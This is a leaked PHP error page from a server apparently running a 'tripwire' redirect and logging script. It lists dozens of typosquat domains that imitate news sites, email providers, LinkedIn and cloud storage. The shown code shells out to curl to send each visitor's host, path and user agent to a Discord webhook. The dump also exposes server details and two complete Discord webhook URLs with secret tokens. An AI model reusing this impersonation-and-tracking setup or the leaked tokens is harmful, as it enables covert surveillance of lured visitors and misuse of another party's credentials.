Line 25:        $serverName = str_ireplace('www.','', $serverName);
Line 26:    
Line 27:        $ourDomains = array('anonprepaid.com','biogspot.net','videodepository.com','daliasnews.com','couriermaii.com.au','domesticviolenceaid.org','drakeofficiai.com','financiaireview.com','forexanon.com','fxtrademail.com','iaweekly.com','insight-risk.com','iinkedin.com.au',  'coldcasecurious.org','lnstagramprofile.com','linkedln.us','medicalpartners.net','organisationalpsychology.org','pdfarchive.net','pickanumber.org','protonmaii.net','protonmail.mobi','queensiand-freemasons.com','realtor-recruiting.com','really.us','scridb.org','securemail247.net','simcardanon.com','sydneymorningheraid.com.au','theaustraiian.com.au','ugiq.org.au','yandexsms.com','tutanotasecure.com','amamail.com.au','cmamail.ca','bmamail.org.uk','theconversations.com.au','slideshare.net.au','bankingonline.net.au','anonymous-text.com','reaiestate.com.au','share-icloud.com','drive-googie.com','teiegraph.co.uk','daiiymaii.co.uk','journalism.email','safetyrecallalerts.org','media.affiliatemafia.ru','motogoif.com','flighttrackings.com','suspiciouscloud.org','slideshare.ca','surgeonsmail.com.au','media.safeunsubscribe.org','reunionplanner.net','calendly.pro','media.openletters.org','placeads.daliasnews.com','usa.authorizedreviews.org','media.dandeery.com','textfree.chat','textnow.chat','pcs.codes','ecourtfilings.org','media.page1.me','mysocialmail.net','dwantiquesny.net','organisationalpsychology.org','sonogaming.party','docshares.net','blockchainxplorer.com','mysocialmail.net','etherscan.network','myhongkong.homes','intbochk.com','just-testing.site','dont-call.org');
Line 28:    
Line 29:        if(!in_array($serverName, $ourDomains)) {
Line 30:            shell_exec('/usr/bin/curl -X POST --data \'{ "content": "```css\ntw [DIE. Tried '.$serverName.''.$uri.']\n'.$triplog->HttpUserAgent.'\n```","tts": false }\' -H "Content-Type: application/json" https://discordapp.com/api/webhooks/722856275636912189/Cg19Vmx7t0eR2aB8xQXUYB1VMZbFUDzrc0H4D5BqPlsJlNn2ssjAxmXugMEMjOUJazt7');
Line 31:            die();
Line 32:        }
Line 33:        switch ($serverName) {
Line 34:    
Line 35:            default: return 'http://www.google.com';

#0 /var/www/tw/index.php(30): QcodoHandleError()
#1 /var/www/tw/index.php(211): getRedirect()

  _COOKIE
array (
)
  _FILES
array (
)
  _GET
array (
)
  _POST
array (
)
  _SERVER
array (
  'UNIQUE_ID' => 'YvVpkmebXBcAAF7bVZ4AAAAH',
  'SCRIPT_URL' => '/',
  'SCRIPT_URI' => 'http://protonsms.com/',
  'HTTP_HOST' => 'protonsms.com',
  'HTTP_CONNECTION' => 'Keep-Alive',
  'HTTP_ACCEPT_ENCODING' => 'gzip',
  'HTTP_X_FORWARDED_FOR' => '3.236.225.157',
  'HTTP_CF_RAY' => '7393cb742c8956fe-IAD',
  'HTTP_X_FORWARDED_PROTO' => 'http',
  'HTTP_CF_VISITOR' => '{"scheme":"http"}',
  'HTTP_USER_AGENT' => 'CCBot/2.0 (https://commoncrawl.org/faq/)',
  'HTTP_ACCEPT' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  'HTTP_ACCEPT_LANGUAGE' => 'en-US,en;q=0.5',
  'HTTP_IF_MODIFIED_SINCE' => 'Tue, 05 Jul 2022 18:46:27 GMT',
  'HTTP_CF_CONNECTING_IP' => '3.236.225.157',
  'HTTP_CF_IPCOUNTRY' => 'US',
  'HTTP_CDN_LOOP' => 'cloudflare',
  'PATH' => '/usr/local/bin:/usr/bin:/bin',
  'SERVER_SIGNATURE' => '<address>Apache/2.2.22 (Debian) Server at protonsms.com Port 80</address>
',
  'SERVER_SOFTWARE' => 'Apache/2.2.22 (Debian)',
  'SERVER_NAME' => 'protonsms.com',
  'SERVER_ADDR' => '103.155.92.23',
  'SERVER_PORT' => '80',
  'REMOTE_ADDR' => '172.70.134.101',
  'DOCUMENT_ROOT' => '/var/www/tw',
  'SERVER_ADMIN' => '[email protected]',
  'SCRIPT_FILENAME' => '/var/www/tw/index.php',
  'REMOTE_PORT' => '31674',
  'GATEWAY_INTERFACE' => 'CGI/1.1',
  'SERVER_PROTOCOL' => 'HTTP/1.1',
  'REQUEST_METHOD' => 'GET',
  'QUERY_STRING' => '',
  'REQUEST_URI' => '/',
  'SCRIPT_NAME' => '/index.php',
  'PHP_SELF' => '/index.php',
  'REQUEST_TIME_FLOAT' => 1660250514.74,
  'REQUEST_TIME' => 1660250514,
)
  client
NULL
  dateUTC
'11 08 2022 20:41:54'
  destination
false
  discord_webhook
'https://discordapp.com/api/webhooks/320507835546992642/g_iAteWnIUoFAPqUcmahwXf87MAEowWqMhxwWgfn4j4SOE1SINWZowL6FkWwJ8OXL3m0'
  domain
'protonsms.com'
  keyword
false
  logdata
true
  qtimenow
QDateTime::__set_state(array(
   'blnDateNull' => false,
   'blnTimeNull' => false,
   'strSerializedData' => NULL,
   'date' => '2022-08-11 20:41:54.000000',
   'timezone_type' => 3,
   'timezone' => 'UTC',
))
  sendmail
true
  timenow
1660250514
  triplog
TripLog::__set_state(array(
   'intId' => NULL,
   'dttTriggerDatetime' => 
  QDateTime::__set_state(array(
     'blnDateNull' => false,
     'blnTimeNull' => false,
     'strSerializedData' => NULL,
     'date' => '2022-08-11 20:41:54.000000',
     'timezone_type' => 3,
     'timezone' => 'UTC',
  )),
   'intTripwire' => NULL,
   'strUniqueId' => 'YvVpkmebXBcAAF7bVZ4AAAAH',
   'strHttpUserAgent' => 'CCBot/2.0 (https://commoncrawl.org/faq/)',
   'strHttpAccept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
   'strHttpAcceptLanguage' => 'en-US,en;q=0.5',
   'strHttpAcceptEncoding' => 'gzip',
   'strHttpAcceptCharset' => NULL,
   'strRemoteAddr' => '172.70.134.101',
   'strRemotePort' => '31674',
   'strServerProtocol' => 'HTTP/1.1',
   'strRequestMethod' => 'GET',
   'strServerName' => 'protonsms.com',
   'strQueryString' => '',
   'strRequestUriPathInfo' => NULL,
   'strPhpSelf' => '/index.php',
   'strHttpReferer' => NULL,
   '__strVirtualAttributeArray' => 
  array (
  ),
   '__blnRestored' => NULL,
   'objTripwireObject' => NULL,
))
  tripwire
NULL
  uri
'/'